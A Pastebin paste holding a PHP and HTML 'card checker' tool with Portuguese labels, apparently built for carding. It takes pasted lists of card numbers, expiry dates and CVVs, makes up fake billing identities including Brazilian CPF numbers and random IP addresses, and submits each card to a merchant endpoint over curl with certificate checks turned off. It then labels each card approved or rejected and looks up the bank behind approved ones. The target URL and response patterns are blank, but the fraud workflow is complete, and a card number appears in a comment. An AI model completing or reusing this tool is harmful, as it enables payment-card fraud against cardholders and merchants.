Guest User

Untitled

a guest
Mar 6th, 2016
521
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.79 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>Testador De Geradas</title>
  4. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap.min.css">
  5. <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/css/bootstrap-theme.min.css">
  6. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.5/js/bootstrap.min.js"></script>
  7. <meta charset="UTF-8">
  8. </head>
  9. <body background=" ">
  10. <center>
  11. <h2><strong>Checker<small> v1.0 </small></strong></h2>
  12. <form name="frm-CardCheck" method="post">
  13. <textarea name="CARDLIS" class="input" cols="150" class="form-control" rows="20" placeholder="4213650741445032|04|2020|123 - Separador | "></textarea>
  14. <center><BR> <input type="submit" class="btn btn-primary" value=" Testar " style="width: 26%;"> </center>
  15. </form>
  16. <style>
  17. body{
  18. background-color: #E3E3E3;
  19. }
  20. textarea{
  21. width: 700px;
  22. height: 300px;
  23. }
  24. #enviar{
  25. width: 30%;
  26. }
  27. *{
  28. margin-top: 2%;
  29. }
  30. </style>
  31. <?php
  32. ini_set('smtp_port', '465');
  33. function ExternalImport($public){
  34. $external;
  35. if(filter_var($public, FILTER_VALIDATION_EMAIL)){
  36. return true;
  37. }else{
  38. return false;
  39. }
  40. }
  41.  
  42. function RandAll($panjang) {
  43. $pstring = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
  44. $plen = strlen($pstring);
  45. for ($i = 1; $i <= $panjang; $i++) {
  46. $start = rand(0,$plen);
  47. $unik.= substr($pstring, $start, 1);
  48. }
  49.  
  50. return $unik;
  51. }
  52. function RandNum($panjang) {
  53. $pstring = "123456789";
  54. $plen = strlen($pstring);
  55. for ($i = 1; $i <= $panjang; $i++) {
  56. $start = rand(0,$plen);
  57. $unik.= substr($pstring, $start, 1);
  58. }
  59.  
  60. return $unik;
  61. }
  62.  
  63. function excluirArquivo(){
  64. if(file_exists("CardCheck_logs.txt")){
  65. unlink("CardCheck_logs.txt");
  66. }
  67. }
  68.  
  69. error_reporting(0);
  70. set_time_limit(0);
  71.  
  72. if(isset($_POST['CARDLIS'])){
  73. $SetParamList = trim($_POST['CARDLIS']);
  74. flush(); ob_flush();
  75. $SetParamList = split("\n", $SetParamList);
  76. $SetParamCount = count($SetParamList);
  77. flush(); ob_flush();
  78. print "<span class='label label-info'>Total carregada : <strong> {$SetParamCount} <strong></span> <br> <br>";
  79. flush(); ob_flush();
  80. for($setParamUX = 0; $setParamUX < $SetParamCount; $setParamUX++) {
  81. $SetParamList = str_replace(" ", "", $SetParamList);
  82. $SetParamList = str_replace("\r", "", $SetParamList);
  83. $SetParamList = str_replace("\n", "", $SetParamList);
  84. list($card, $mes, $ano, $cvv) = split("[|]", $SetParamList[$setParamUX]);
  85. flush(); ob_flush();
  86. if(file_exists("CardCheck_logs.txt")) {
  87. unlink("CardCheck_logs.txt");
  88. }
  89.  
  90. $setParamFunction = CardCheck($card, $mes, $ano, $cvv);
  91. print $setParamFunction;
  92. }
  93. print "<br> <div style='width: 40%;' class='alert alert-warning'> Checkout finalizado com sucesso! </div>";
  94. }
  95.  
  96. function CardCheck($card, $mes, $ano, $cvv) {
  97.  
  98. if(file_exists(getcwd().'CardCheck_logs.txt')) {
  99. unlink(getcwd().'CardCheck_logs.txt');
  100. }
  101. if(file_exists("cookie.txt")){
  102. unlink("cookie.txt");
  103. }
  104.  
  105. switch (substr($card, 0, 1)) {
  106. case '4':
  107. $typeCard = 1;
  108. $typeName = "Visa";
  109. break;
  110. case '5':
  111. $typeCard = 2;
  112. $typeName = "MasterCard";
  113. break;
  114. case '3':
  115. $typeCard = 3;
  116. $typeName = "Amex";
  117. break;
  118. }
  119.  
  120. //switch ($mes) {
  121. //case '01':
  122. //$mes = '1';
  123. //break;
  124. //case '02':
  125. //$mes = '2';
  126. //break;
  127. //case '03':
  128. //$mes = '3';
  129. //break;
  130. //case '04':
  131. //$mes = '4';
  132. //break;
  133. //case '05':
  134. //$mes = '5';
  135. //break;
  136. //case '06':
  137. //$mes = '6';
  138. //break;
  139. //case '07':
  140. //$mes = '7';
  141. //break;
  142. //case '08':
  143. //$mes = '8';
  144. //break;
  145. //case '09':
  146. //$mes = '9';
  147. //break;
  148. // }
  149.  
  150. // switch ($ano) {
  151. // case '2016':
  152. // $ano = '16';
  153. // break;
  154. // case '2017':
  155. // $ano = '17';
  156. // break;
  157. // case '2018':
  158. // $ano = '18';
  159. // break;
  160. // case '2019':
  161. // $ano = '19';
  162. // break;
  163. // case '2020':
  164. // $ano = '20';
  165. // break;
  166. // case '2021':
  167. // $ano = '21';
  168. // break;
  169. // case '2022':
  170. // $ano = '22';
  171. // break;
  172. // case '2023':
  173. // $ano = '23';
  174. // break;
  175. // case '2024':
  176. // $ano = '24';
  177. // break;
  178. // }
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185. $name = array( "Pennington","Norman","Stewart","Cochran","Humphrey","Holmes","Chase","Chandler","Hoffman","Arias","Manning","Page","Frost","Mcguire","Glass" );
  186. $name = $name[rand(0, sizeof($name) - 1)];
  187. //last
  188. $lastname = array("Ayers","Bryan","Garner","Rojas","Gordon","Tanner","Juarez","Jensen","Oconnell","Mason","Whitaker","Meyer","Frey","Mooney","Salinaszz");
  189. $lastname = $lastname[rand(0, sizeof($lastname) - 1)];
  190.  
  191. $zip = array("62934","30329","35404","41042","64163","70001","94520","01608","97218","78476","75217","26206","23123","56523","32112");
  192. $zip = $zip[rand(0, sizeof($zip) - 1)];
  193.  
  194. $DateYear = array("1974","1973","1972","1971","1975","1980","1981","1982","1983","1984","1985","1986","1987","1988","1989","1969","1968");
  195. $DateYear = $DateYear[rand(0, sizeof($DateYear) - 1)];
  196.  
  197. $DateMonth = array("1","2","3","4","5","6","7","8","9","10","11","12");
  198. $DateMonth = $DateMonth[rand(0, sizeof($DateMonth) - 1)];
  199.  
  200. $Dateday = array("1","2","3","4","5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","20","21","22","23","24","25","26","27","28","29","30");
  201. $Dateday = $Dateday[rand(0, sizeof($Dateday) - 1)];
  202.  
  203. $genero = array("male","female");
  204. $genero = $genero[rand(0, sizeof($genero) - 1)];
  205.  
  206.  
  207. $provedor_mail = array("gmail.com", "hotmail.com", "hotmail.com.br", "outlook.com", "bol.com.br", "yahoo.com.br", "imail.com.br", "mail.com", "yahoo.com");
  208. $provedor_mail = $provedor_mail[rand(0, sizeof($provedor_mail) - 1)];
  209.  
  210. $street = array("3973 Ross Street","3992 Flint Street","2532 Broad Street","4979 Mayo Street","706 White Oak Drive","1503 Shadowmar Drive","2715 Thunder Road","3017 Rockford Road","3823 Washington Street","2571 Heron Way","618 Ersel Street","134 Street Meyer","Frey","12 Jordon Mooney","3205 Tavern Place");
  211. $street = $street[rand(0, sizeof($street) - 1)];
  212. //city
  213. $city = array("Leamington","Atlanta","Tuscaloosa","Florence","Ferrelview","Metairie","Concord","Worcester","Portland","Corpus Christi","Dallas","Cowen","Frey","Jordon","Tavern");
  214. $city = $city[rand(0, sizeof($city) - 1)];
  215. //zip
  216. $zip = array("62934","30329","35404","41042","64163","70001","94520","01608","97218","78476","75217","26206","23123","56523","32112");
  217. $zip = $zip[rand(0, sizeof($zip) - 1)];
  218. //state
  219. $state = array("AR","AZ","CA","CO","CT","DC","DE","FL","GA","HI","IA","ID","IL","IN","KS","KY","LA","MA","MD","ME","MI","MN","MO","MS","MT","NC","ND","NE","NH","NJ","NM","NV","NY","OH","OK","OR","PA","RI","SC","SD","TN","TX","UT","VA","VT","WA","WI","WV","WY","AS","FM","GU","MH","MP","PR","PW","VI","AA","AE","AP","AB","BC","MB","NB","NL","NS","NT","NU","ON");
  220. $state = $state[rand(0, sizeof($state) - 1)];
  221.  
  222. $randProcuc = array("5","6","7","8","9","10","11","12","13","14","15","16","17","18","19","20","21","22","23");
  223. $randProcuc = $randProcuc[rand(0, sizeof($randProcuc) - 1)];
  224.  
  225. $randCPF = array("279.804.306-97","287.834.545-27","183.369.115-61","797.683.894-60","581.861.531-60","680.744.263-78","279.704.344-87","573.838.329-06","931.525.477-57","766.701.013-76","974.286.102-14","926.529.562-72","171.735.855-11","185.302.491-00","097.979.041-72","120.848.671-34","210.085.401-10","281.064.341-00","444.565.901-06","647.603.671-87","720.565.681-87","471.431.341-04","491.822.181-53","084.528.651-04","338.056.016-20","645.697.568-91","186.426.081-53","380.921.231-87","146.213.202-53","115.231.071-20","041.565.283-91","214.658.511-00","033.669.791-00","417.494.641-87","524.345.401-04","351.428.201-34","258.653.401-82","563.489.161-20","221.048.361-15","324.830.401-44","602.003.591-34","249.148.351-34","184.618.591-20","941.394.158-00");
  226. $randCPF = $randCPF[rand(0, sizeof($randCPF) - 1)];
  227.  
  228. $log_Username = RandAll('8').'@'.$provedor_mail;
  229. $log_Password = RandAll('15');
  230. $log_login = RandAll('8');
  231. $sub_card1 = substr($card,0,4);
  232. $sub_card2 = substr($card,4,4);
  233. $sub_card3 = substr($card,8,4);
  234. $sub_card4 = substr($card,12,4);
  235. $group_card = $sub_card1.'-'.$sub_card2.'-'.$sub_card3.'-'.$sub_card4.'-';
  236. $sub_Ano = substr($ano,2,4);
  237. $group_mes = $mes;
  238. $group_ano = $sub_Ano."".$group_mes;
  239. $group_cvv = $cvv;
  240. $group_zip = RandNum("5");
  241. $tel1 = RandNum("2");
  242. $tel2 = RandNum("4");
  243. $tel3 = RandNum("4");
  244. $tel4 = $tel1."".$tel2."".$tel3;
  245. $ip1 = RandNum("3");
  246. $ip2 = RandNum("3");
  247. $ip3 = RandNum("3");
  248. $ip4 = RandNum("3");
  249. $ip5 = $ip1.".".$ip2.".".$ip3.".".$ip4;
  250. //Sorry, you are ineligible for the free trial because you already had a free trial or are currently a Premium Member.
  251. //Sorry, you are ineligible for the free trial because you already had a free trial or are currently a Premium Member.
  252. //Sorry, there was an error with your billing information. Please enter it again.
  253. //Please use a non-expired credit card.
  254. //Please enter the 3 digit security code located on the back of your MasterCard card.
  255. //Sorry, we only accept Visa, Mastercard, American Express or Discover.
  256. //Sorry, we only accept Visa, Mastercard, American Express or Discover.
  257. // Card : 5482+9399+2599+6923
  258. // Mes : 9
  259. // Ano : 2019
  260. // Cvv : 565
  261.  
  262. $ch = curl_init();
  263.  
  264. curl_setopt($ch, CURLOPT_URL, ' ');
  265. curl_setopt($ch, CURLOPT_HEADER, 1);
  266. $User_Agent = 'User-Agent=Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0';
  267. $request_headers = array();
  268. $request_headers[] = 'Host: ';
  269. $request_headers[] = 'User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0';
  270. $request_headers[] = 'Accept: ';
  271. $request_headers[] = 'Referer: ';
  272. curl_setopt($ch, CURLOPT_HTTPHEADER, $request_headers);
  273. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; rv:44.0) Gecko/20100101 Firefox/44.0'); // RADOM DOS NAVEGADORES
  274. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  275. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  276. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  277. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  278. curl_setopt($ch, CURLOPT_COOKIESESSION, false );
  279. curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
  280. curl_setopt($ch, CURLOPT_COOKIEJAR, '/CardCheck_logs.txt');
  281. curl_setopt($ch, CURLOPT_COOKIEFILE, '/CardCheck_logs.txt');
  282. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  283. curl_setopt($ch, CURLOPT_POST, 1);
  284. curl_setopt($ch, CURLOPT_REFERER, ' ');
  285. curl_setopt($ch, CURLOPT_POSTFIELDS, " ");
  286. $data = curl_exec($ch);
  287. curl_close($ch);
  288.  
  289.  
  290. if($data){
  291. if(preg_match(" ", $data)) {
  292. echo "<div class='alert alert-danger' style='width: 80%;'> Check : {$card}|{$mes}|{$ano}|{$cvv}:Charged : $ {$randProcuc}.00 - Resposta : Cartao Queimado </div>";
  293. } elseif(preg_match(" ", $data)) {
  294. echo "<div class='alert alert-danger' style='width: 80%;'> Check : {$card}|{$mes}|{$ano}|{$cvv}:Charged : $ {$randProcuc}.00 - Resposta : Cartao Nao suportado </div>";
  295. }
  296. elseif(preg_match(" ", $data)) {
  297.  
  298. $cc = substr($card,0,6) ;
  299. $ch = curl_init();
  300. curl_setopt($ch, CURLOPT_URL, "http://www.binlist.net/json/$cc");
  301. curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  302. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  303. $dadosSite = curl_exec ($ch);
  304. $numerobin1 = explode('{"bin":"', $dadosSite);
  305. $numerobin2 = explode('",',$numerobin1[1]);
  306. $numerobin = $numerobin2[0];
  307. $banco1 = explode('"bank":"', $dadosSite);
  308. $banco2 = explode('",',$banco1[1]);
  309. $banco = $banco2[0];
  310. $banco = strtoupper($banco);
  311. $cartao1 = explode('"card_type":"', $dadosSite);
  312. $cartao2 = explode('",',$cartao1[1]);
  313. $cartaor = $cartao2[0];
  314. $cartao11 = explode('"card_category":"', $dadosSite);
  315. $cartao21 = explode('",',$cartao11[1]);
  316. $cartao123 = $cartao21[0];
  317. $cartao111 = explode('"country_name":"', $dadosSite);
  318. $cartao211 = explode('",',$cartao111[1]);
  319. $cartao1231 = $cartao211[0];
  320. $cartao1231 = strtoupper($cartao1231);
  321. $cartao1111 = explode('"brand":"', $dadosSite);
  322. $cartao2111 = explode('",',$cartao1111[1]);
  323. $cartao12311 = $cartao2111[0];
  324. $cartao12311 = strtoupper($cartao12311);
  325. $info = "<font face='Tahoma' size='2' color='#FFD700'>". $banco . '</font> |'. "<font face='Tahoma' size='2' color='#FF4500'>" .$cartao12311. '</font>|' . "<font face='Tahoma' size='2' color='#FF00FF'>" .$cartaor. '</font>|'. "<font face='Tahoma' size='2' color='#7B68EE'>" .$cartao123. '</font>|'. "<font face='Tahoma' size='2' color='#FF1493'>" .$cartao1231 .'</font>';
  326. $infos = $banco . '|'. $cartao12311. '|' .$cartaor. '|'.$cartao123. '|'.$cartao1231 ;
  327.  
  328. $sshdia = date('d/m/y');
  329. $sshhora = date('H:i');
  330. $sship = @getenv('REMOTE_ADDR');
  331. $sshrevers = @gethostbyaddr($ip);
  332. $mensagem = '<p> Card Check Experian - PT-BR </p> </br>
  333. <p> CC : '.$card.'|'.$mes.'|'.$ano.'|'.$cvv.' </br>
  334. <p>Bin&nbsp;&nbsp;:&nbsp;&nbsp;'.$infos.' </p></br>
  335. <p>Dia&nbsp;&nbsp;:&nbsp;&nbsp;'.$sshdia.' </p></br>
  336. <p>Hora&nbsp;&nbsp;:&nbsp;&nbsp;'.$sshhora.' </p></br>
  337. <p>IP&nbsp;&nbsp;:&nbsp;&nbsp;'.$sship.'</p> </br>
  338. <p>Localizador&nbsp;&nbsp;:&nbsp;&nbsp;<a href="http://www.infosniper.net/index.php?ip_address='.$sship.'" target="_blank">Localizar ip</a>
  339. ';
  340.  
  341.  
  342. echo "<div class='alert alert-success' style='width: 80%;'><font color='#FF0000'>Aprovada ✔ </font>{$card};{$mes};{$ano};{$cvv} Informações ➜ Debitou {$randProcuc}.00:$info:~ </div>";
  343. } else {
  344. echo "<div class='alert alert-danger' style='width: 80%;'><font color='#FF0000'>Reprovada ✘ </font>{$card};{$mes};{$ano};{$cvv} Informações ➜ Nao Debitou {$randProcuc}.00 ~ </div>";
  345.  
  346. }
  347. }
  348. }
  349. ?>
Add Comment
Please, Sign In to add comment